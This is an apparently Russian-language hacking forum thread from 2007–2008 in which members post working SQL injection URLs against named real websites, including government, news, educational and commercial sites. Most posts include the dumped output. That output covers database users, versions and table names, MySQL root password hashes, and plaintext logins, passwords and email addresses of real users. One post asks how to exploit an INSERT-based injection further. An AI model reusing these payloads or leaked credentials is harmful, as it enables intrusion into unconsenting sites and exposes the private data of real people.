SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    4.1.22-log
    admin:admin
    http://www.fiveavenue.ru/adm - не подходит .. ((
    -----------------------------------------------------
    oplati.ru
    http://www.forum.oplati.ru/
    Andy:a001e3532291b47293aebefee7616557:vfierr
    -----------------------------------------------------
    www.norfolkadmirals.com - PR5
    колонок с пассами и нечем интересным не нащёл ((
     
    2 people like this.
  2. 5taY3r

    5taY3r Elder - Старейшина

    Joined:
    10 May 2007
    Messages:
    38
    Likes Received:
    35
    Reputations:
    0
  3. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    756
    Likes Received:
    1,053
    Reputations:
    291
    Походу ник админа- faza
    а id логина чет-не то. Ну например если id=20, то ник начинается на 20.
    http://www.faza.ru/alltop.php?cat=-1+union+select+login+from+users+where+login=20/*
    Но там не всё по порядку:
    есть 1,2,3,4,7,10,11,20 далее не копал
     
  4. Tyc00n

    Tyc00n Elder - Старейшина

    Joined:
    13 Jan 2007
    Messages:
    30
    Likes Received:
    25
    Reputations:
    -1
    To bobob
    Лучше лимитом и сразу логин с пассом

    http://www.faza.ru/alltop.php?cat=-1+union+select+concat(login,0x3a,password)+from+users+limit+1,1/*
     
    1 person likes this.
  5. bobob

    bobob Member

    Joined:
    2 Jun 2006
    Messages:
    111
    Likes Received:
    69
    Reputations:
    -15
    да, мутный сайт, ну его нафиг!
     
  6. Saint-Sky

    Saint-Sky Elder - Старейшина

    Joined:
    14 Jul 2007
    Messages:
    119
    Likes Received:
    77
    Reputations:
    27
    Чё вы жопу рвёте такими запросами?
    Вот вам faza:
    faza:5a4c36e900fb4d0a947751e0c59d8661

    P.S. Почитайте про LIMIT
     
    #4586 Saint-Sky, 26 Jan 2008
    Last edited: 26 Jan 2008
    1 person likes this.
  7. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    756
    Likes Received:
    1,053
    Reputations:
    291
    Гы, на том сайт, что не хеш, то - 7827887
     
    1 person likes this.
  8. A2GIL

    A2GIL Elder - Старейшина

    Joined:
    31 Aug 2007
    Messages:
    84
    Likes Received:
    59
    Reputations:
    -3
    Канадские ресурсы:

    http://www.naturetrust.bc.ca/releases.php?id=5+and+1=2+union+select+1,concat(user(),char(58),database(),char(58),version()),3,4/*

    user: dbtnt126@205.178.132.70
    database: tntsite
    version:4.1.21

    http://www.aamc.ca/about.php?id=8+and+1=2+union+select+1,table_name,3,4,5,6,7,8+from+information_schema.tables/*

    version : 5.0.24a-standard-log 3
    tabels( ..,tbl_bestrate 3, tbl_broker 3, tbl_faq 3, tbl_kerry 3, tbl_links 3, tbl_news 3, tbl_rate 3)

    http://www.onmyblock.ca/media.php?id=5+and+1=2+union+select+1,2,concat(user(),char(58),database(),char(58),version()),4/*

    user: blockweb_block@localhost
    database: blockweb_admin
    version:4.1.22
     
    1 person likes this.
  9. 5taY3r

    5taY3r Elder - Старейшина

    Joined:
    10 May 2007
    Messages:
    38
    Likes Received:
    35
    Reputations:
    0
    www.70.pl
    Code:
    http://www.70.pl/main.php?id=100&ktory_kacik=-5+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,0,1,2/*
    5.0.33-log:76@localhost:76
    Code:
    http://www.70.pl/main.php?id=100&ktory_kacik=-5+union+select+1,2,3,concat_ws(0x3a,sLogin,sPassword,mail),5,6,7,8,9,10,11,12+from+70_tabUser/*
    На странице выводится порядка 2.676 записей данных польских юзеров вида
    логин:пасс:мыло
    admin:skurwysyn9:admin@70.pl
    karol:kupka:kupka@gmail.com
    karol1:droga2:droga2@o2.pl
    mL7:1102860011399kzm:ml7@poczta.onet.pl
    superopr:browar:ksiegarnia4u@ksiegarnia4u.pl
    rkipias:dorota:rkipias@wp.pl
    sambor.jj:290225a:Sambor.jj@wp.pl
    fs:42LCEHga:Husar@boo.pl
    slodki:7886:slodki@niezabijaj.com
    drbadbrain:browar00:drbadbrain@tlen.pl
    ...и т.д.
     
    2 people like this.
  10. Sharingan

    Sharingan Elder - Старейшина

    Joined:
    5 May 2007
    Messages:
    143
    Likes Received:
    147
    Reputations:
    16
    Хороший буржуйский киношный сайт, пр6
    Code:
    http://www.comingsoon.net/news/movienews.php?id=-1+union+select+concat(version(),0x3a,user(),0x3a,database())/*
    смотрим титл 4.1.22:comingso_nextra@csnet-cm-internal:comingso_nextra

    сайт про банки, пр6
    Code:
    http://www.reusablebags.com/facts.php?id=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7/*
    pono@localhost:4.1.22-standard-log: pono_rub

    И еще один буржуйский, пр5
    Code:
    http://www.exxonsecrets.org/html/personfactsheet.php?id=-1+union+select+1,2,3,4,5,6,7,concat(user(),0x3a,version(),0x3a,database()),9,10/*
    greenpeace@localhost:5.0.27:greenpeace
    верся >5 так что работает INFORMATION_SCHEMA.TABLES
     
    1 person likes this.
  11. everm1nd

    everm1nd Member

    Joined:
    20 Jan 2007
    Messages:
    24
    Likes Received:
    5
    Reputations:
    1
    вот веселенький едушный сайт. до админки не догрыз, зато получил пасики от министерских мыльниц. если кто-нить финиширует, то дайте мне знать.
    http://qt.exploratorium.edu/cils/resourcelist.php?categoryID=-1+union+select+concat_ws(char(58),username,password)+from+account+limit%200,1
    вот через эту штуку можно получить реквизиты. наковырял примерно это:
    Code:
    admin2:4dooney!2
    richauslander:richauslander:dbeck@exploratorium.edu
    erniekunze@earthlink.net:vivian  (Ernie Kunze)
    thomasc@exploratorium.edu:11111
    fperson@physics.ucsc.edu:11111
    уязвимы все скрипты поголовно. даже регистрация. блин. гдеж там одминка-то))
     
    1 person likes this.
  12. WuWu

    WuWu Banned

    Joined:
    16 Dec 2007
    Messages:
    20
    Likes Received:
    23
    Reputations:
    -5
    HTML:
    http://www.losingtoday.com/tales.php?id=999+union+select+concat_ws(0x3a,version(),user(),database()),2,3,4,5,6/*
    4.0.17-standard
    admin_root@localhost
    admin_losingt
     
    1 person likes this.
  13. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    galaxynet.com
    Code:
    http://www.galaxynet.com/default.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4/*
    4.1.20:galaxynet-website:root@localhost
    Code:
    http://www.galaxynet.com/default.php?id=-1+union+select+1,concat_ws(0x3a,user,password),3,4+from+mysql.user/*
    Логин : MySQL(pass) :
    Code:
    root : 3a84bc4e4c3193e1
    cpia.ca
    Code:
    http://www.cpia.ca/topics/default.php?ID=-1+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13,14,15,16/*
    4.0.27-debug-log:main_cpia_ca:cpiaca4736878645@web173.megawebservers.com

    sczg.hr - Studentski Centar u Zagrebu - Sveučilište u Zagrebu
    Code:
    http://www.sczg.hr/default.php?id=kat&katID=-1/**/union/**/select/**/1,concat_ws(0x3a,version(),database(),user())/*
    5.0.32-Debian_7etch1-log:sczg:root@localhost
    Code:
    http://www.sczg.hr/default.php?id=kat&katID=-1/**/union/**/select/**/1,table_name/**/from/**/information_schema.tables/**/limit/**/101,1/*
    Есть табы g2_User , login , db , host , user , но все они из mysql доступ к которой прикрыт :mad:
     
    2 people like this.
  14. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    Что-то есть здесь _http://qt.exploratorium.edu/db/
    Ещё и фтп присутствует : ftp.exploratorium.edu
     
    #4594 fRg, 28 Jan 2008
    Last edited: 28 Jan 2008
  15. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    Ещё немного...

    NordlandTeater.no
    Code:
    http://www.nordlandteater.no/default.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*
    4.1.20:norteatret:norteatret@localhost

    GriSoft.nl - AVG Antivirus
    Code:
    http://www.grisoft.nl/grisoft/default.php?id=10&class=&main_id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8/*
    4.1.20 - WideXS:uman:uman@212.204.254.10

    Таба users с полями username и password :
    Code:
    http://www.grisoft.nl/grisoft/default.php?id=10&class=&main_id=-1+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8+from+users/*
     
    2 people like this.
  16. Sharingan

    Sharingan Elder - Старейшина

    Joined:
    5 May 2007
    Messages:
    143
    Likes Received:
    147
    Reputations:
    16
    Крупнейший новостной ресурс, в Мэйл топе 2 место =) незнаю что с него выжать можно даже
    Code:
    http://www.trud.ru/issue/article.php?id=-1+union+select+1,2,3,4,5,concat(user(),0x3a,version(),0x3a,database()),7,8,9,10,11,12,13,14/* 
    trudinfo@localhost:4.1.21-log:fox
    подбирал названия, ничего, базы юзверей нет...
    если кто что, сообщите ...
     
  17. DJ ][akep

    DJ ][akep Member

    Joined:
    27 Jan 2008
    Messages:
    93
    Likes Received:
    20
    Reputations:
    1
    Уже третий или четвёртый раз о trud.ru пишите тему почитайте :)

    P.S. А админка тут http://www.trud.ru/adm/admin.php
     
    #4597 DJ ][akep, 28 Jan 2008
    Last edited: 28 Jan 2008
  18. A2GIL

    A2GIL Elder - Старейшина

    Joined:
    31 Aug 2007
    Messages:
    84
    Likes Received:
    59
    Reputations:
    -3
    Аргентина.......-Россия пять ноль:)

    http://www.riocuarto.gov.ar/area.php?are=33+and+1=2+union+all+select+1,2,3,concat(user,char(58),password),5,6,7,8,9+from+mysql.user/*

    Жалко нет аргентинского словарика:)

    http://www.3dgames.com.ar/hwreviews.php?Id=33+and+1=2+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(user,char(58),password,char(58)),17,18+from+mysql.user+limit+2,1/*

    root: (без пароля)

    http://www.loginstitute.ca/moreinfo.php?id=6+and+1=2+union+select+1,2,table_name,4,5,6,7+from+information_schema.tables+limit+22,1/*

    таблицы следующие:

    http://www.tgao.ca/page.php?id=9+and+1=2+union+select+1,2,table_name,4+from+information_schema.tables+limit+25,1/*
     
    3 people like this.
  19. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    http://gubakha.ru/ru/publications/publications/?publication=-1+union+select+1,2,3,4,5,6,concat_ws(0x2F,version(),database(),user()),8/*

    4.0.24_Debian-10sarge2-log/dbgubakha/gubakha@localhost

    -----------------------------------------------------------------------------
    literia.ru

    http://literia.ru/vitrin.php?viewmode=view&id_vitrin=-1+union+select+concat_ws(0x2F,version(),database(),user()),2/*

    4.1.22-standard-log/literia_portal/literia_portal@local


    http://literia.ru/vitrin.php?viewmode=view&id_vitrin=-1+union+select+concat_ws(0x2F,login,pwd,email),2+from+user+limit+0,1/*

    логин/пароль/мейл
    Mike/hubabuba/master@literia.ru
     
    4 people like this.
  20. chekist

    chekist Elder - Старейшина

    Joined:
    14 Nov 2007
    Messages:
    215
    Likes Received:
    160
    Reputations:
    100
    помогите советом, нашёл скуль заморочный

    INSERT INTO jos_gkb_voting_log (type,date,userid,fileid,ipaddress) VALUES (3,789,0,[sql],0x302e302e302e30)
    fileid только intger
    ipaddress ограничено по длине

    можноли в этот запрос поставить insert или update, и как если возможно
     
Loading...
Thread Status:
Not open for further replies.